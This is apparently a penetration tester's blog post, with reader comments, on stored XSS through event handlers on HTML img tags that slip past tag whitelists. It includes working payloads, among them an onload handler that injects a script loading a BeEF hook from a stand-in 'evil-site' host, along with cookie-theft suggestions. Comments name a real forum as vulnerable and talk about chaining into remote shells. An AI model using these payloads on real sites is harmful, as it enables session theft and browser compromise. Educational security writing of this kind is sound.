Exotic XSS: The HTML Image Tag

There are the usual XSS tests.  And then there are the fun ones.  This is a story about a more exotic approach to testing XSS....

I was testing a company that had passed all XSS tests from their pentester.  I found that they allowed users to write HTML tags.  Of course they didn't permit <script> tags or <iframe> tags.  (Well, they did allow those, but that was an oops - no server side filtering.)  This company had whitelisted a variety of "safe" tags for use by clients.

That's boring, right?  Heh, thanks to Ron, I had a way to abuse their whitelist.  (I've since found this in Web Application Hackers Handbook, but I seem to have overlooked it at the time I read it.)  Three HTML 4 tags in particular allow javascript to be run from one of the elements and these are: <img>, <object>, and <style>.

You are really unlikely to see <object> and <style> tags permitted, but <img> tags are a bit more common.  Note: since my work on this site, I've seen RSnake's page and other pages that talk about using <img src="alert('XSS')">.  That was nice in the past, but none of my current version browsers will execute that.  (Makes me wonder if the whole tracking image thing from emails of yesteryear still works, but that's a rabbit trail.  If you know, post a comment.)  Still, just because I can't source the javascript, doesn't mean I can't execute javascript....  We'll use different HTML 4 elements.

Now, in my scenario, I decided to input <img src="blah.jpg" onerror="alert('XSS')"/> and reloaded the page.  BINGO! I got a popup box.  This also works and has the advantage of a working image: <img src="realimage.png" onload="alert('XSS')"/>.

That's cool.  It's really easy to check that off on your list and say "vulnerable to XSS."  But, can you do anything besides popping boxes?  Doing something would be useful.  I had a question about all this, "will these elements support more than an alert box or is this a useless novelty?"  More tests were in order.

So, then we could replace alert() with document.write() and write the cookie to our server. This swipes cookies and that's better than a popup.  But why stop there?

Why not create a <script> on the page itself?  What's that you say?  <script> isn't on the whitelist?  So, your point?  If your browser creates the <script> locally, it can't be filtered, now can it?

Thanks to Mak (@mak_kolybabi) for giving me some of the tips I needed to get this going in the correct direction.

How about we try this:

<img onload="var s = document.createElement('script'); s.src='http://evil-site/beef/hook/beefmagic.js.php';document.getElementsByTagName('head')[0].appendChild(s);" src="real_image.jpg" />

We have a image that triggers the onload element.  Now we tell the browser to create a script element.  You may not be able to write <script>, but you are able to write the word "script."  The createElement function tells the browser to create the <script></script>.  It's local to the client and the server has no idea.  :-D

Then we give the source element (what else would you use but BeEF?) and then we place our new element into the page.  Viola! You've just turned a simple <img> tag into stored XSS....

I have noticed that using onload="local_function()," IE8 and FF3.6 have "issues."  Not sure what it is quite yet.

I spent a few moments looking around to see if I could locate websites that allow you to use HTML tags.  From a cursory perspective, Slashdot is safe, so is Digg, and most forums are now using BB Code.  So, how useful is this?  I'd wager it's probably a last resort. If you chained attacks you could potentially use it.  Suppose you bypassed the front line of defense (like so) in a manner that allowed you to write tags, but ran into some sort of whitelist filtering on the server preventing <script> tags.  Now you have a way to create script tags while evading the filter.

We're not done yet....

Now, you might think that all of this is trivial and not very important.  I mean seriously, who allows users to write tags at all?  Let's look forward for a moment.  HTML5 is coming.  According to this site (and I have to think that they would know), we find this beautiful bit of information: all event handlers must be supported by all elements, or something like that.  And there are a bunch of new event handlers.

In other words, not only do we have access to onload/onerror in every element, we get lots more....  Stored XSS will be everywhere for years.  All these wannabe web guys who implement the cool new whizbang HTML5 as soon as it ships, will be running huge risks unless they carefully filter out event handlers.  (At least they need to prevent users from implementing event handlers.)  We've seen how well this has worked in the past, so my hopes for reasonably secure implementation are exactly nonexistent.

And if you have a site that you want to allow users to write tags, try switching to BB Code.  It's safer.  Well, in 10 minutes of testing I didn't see how to bypass it as it doesn't support anything.  :-D

Currently, I am developing a page that will test a browser's support of HTML 5 action events.  If you have suggestions or tips, send them my way.  I'm currently muddling through my coding.

Oh and just think about what would happen if someone accidentally on purpose managed to rewrite the <img> element on www.digg.com or www.google.com.  Would anyone ever notice?  How long would it take to find it?  Seriously, looking for a compromise, who'd look at the official logo for the infection?  Enjoy your nightmares people.


16 thoughts on “Exotic XSS: The HTML Image Tag

  1. Reply

    Ian Fox

    Excellent post, Matt. Makes me wonder how many sites I can find vulnerable to this.

  2. Reply

    Matt Gardenghi Post author

    Thanks. I suppose that writing about them here in the comments doesn't qualify as responsible disclosure.... Oh well. Let us know that you found something anyway.

  3. Reply


    Great find. Do you think that this is something that will get corrected in HTML5?

  4. Reply


    Hi Ron,

    Great...I tried the img tag and it works on the test site

  5. Reply

    Matt Gardenghi Post author


    No, it won't be fixed. If by fixed you mean: won't work anymore.

    HTML5 is integrating additional points for javascript into every single tag.

  6. Reply


    fucking loser. thats fucking usual fucking xss

    1. Reply

      Ron Bowes

      @1337 I realize you're trolling, but I approved your comment anyway -- not just because I don't believe in censorship, but also because you bring up a point. While it's true -- a lot of people already know this "trick" -- I wouldn't call it generally known (or "usual"). The Web Application Hacker's Handbook dedicates all of 2-3 lines to the topic, and that's about it. Some automated tools detect it, and others don't.

      The point is, I know a lot of people, myself included, who learned about tag-based cross-site scripting attacks long after standard cross-site scripting. And it's a great defense against people who think that putting htmlentities() around every variable fixes everything - it doesn't (always) fix this type of attack.

      So yeah, it may be somewhat "usual [...] xss", but I believe it's still valuable to discuss, and I know I'm going to be stealing some code Matt posted here in an application I'm testing tomorrow (that I already know is vulnerable to it -- I just have to convince the CxO).

  7. Reply

    Matt Gardenghi Post author


    Excellent find!

  8. Reply


    @Ron While this may not be a "silver bullet" when pen testing or trying to exploit there are some sites out there (well known for example) that are vulnerable to this. I'm surprised that this type of "insecurity" doesn't get more attention.

    IE. In the CentOS forums which I frequent they allow follow HTML tag usage in their forums (yes they are vulnerable to this attack). What if you posted in the GIMP section claiming to link to the source of the picture...you may not fool everyone but you could by get by for a while....

  9. Reply


    Hi Ron,

    Can the manual html tags like image be used also for XSS in the URL string?

  10. Reply

    Matt Gardenghi Post author

    Damian, excellent find. You could easily drop a bunch of those Linux guys (who are safe because they don't use windows) into a BeEF collector. You might even get a meterpreter shell on their boxes. From there, most Linux distros have a priv escalation vulnerability at least once a quarter or better. :-p Its called "chaining vulnerabilities."

    Zack, can you explain what you mean by XSS in the URL? If you are discussing reflected XSS, it depends. If the site is displaying back to the victim the text you put in the message string and not HTML_Encoding it, then sure. Many sites have included messages in the URL that get displayed to the user. By all means you could build a malicious image and do the same thing.

  11. Reply


    Zack, can you explain what you mean by XSS in the URL? If you are discussing reflected XSS, it depends. If the site is displaying back to the victim the text you put in the message string and not HTML_Encoding it, then sure. Many sites have included messages in the URL that get displayed to the user. By all means you could build a malicious image and do the same thing.

  12. Reply


    sir, how could i filter this kind of spam? example:

    i own the site/file.php

    but on other peoples site, they use it as IMG tag src=site/file.php

    to get illegal traffic. how to prevent that? i own the file.php, but i dont have control to sites using it on IMG tag.

    1. Reply

      Matt Gardenghi Post author

      Simster: Not certain what you are asking. I would need more details.

  13. Reply


    I have the exact same problem as simster has...i have a php page that is being accessed from some other domains by using the img src=...and this is fraudulent traffic, how do we block this?

  14. Reply


    Good stuff.

    What about DOM based XSS? My thought is to use the tags to append a file server side, or I wonder if you could actually write a file to the local system ... hang on BRB.

Leave a Reply

Your email address will not be published.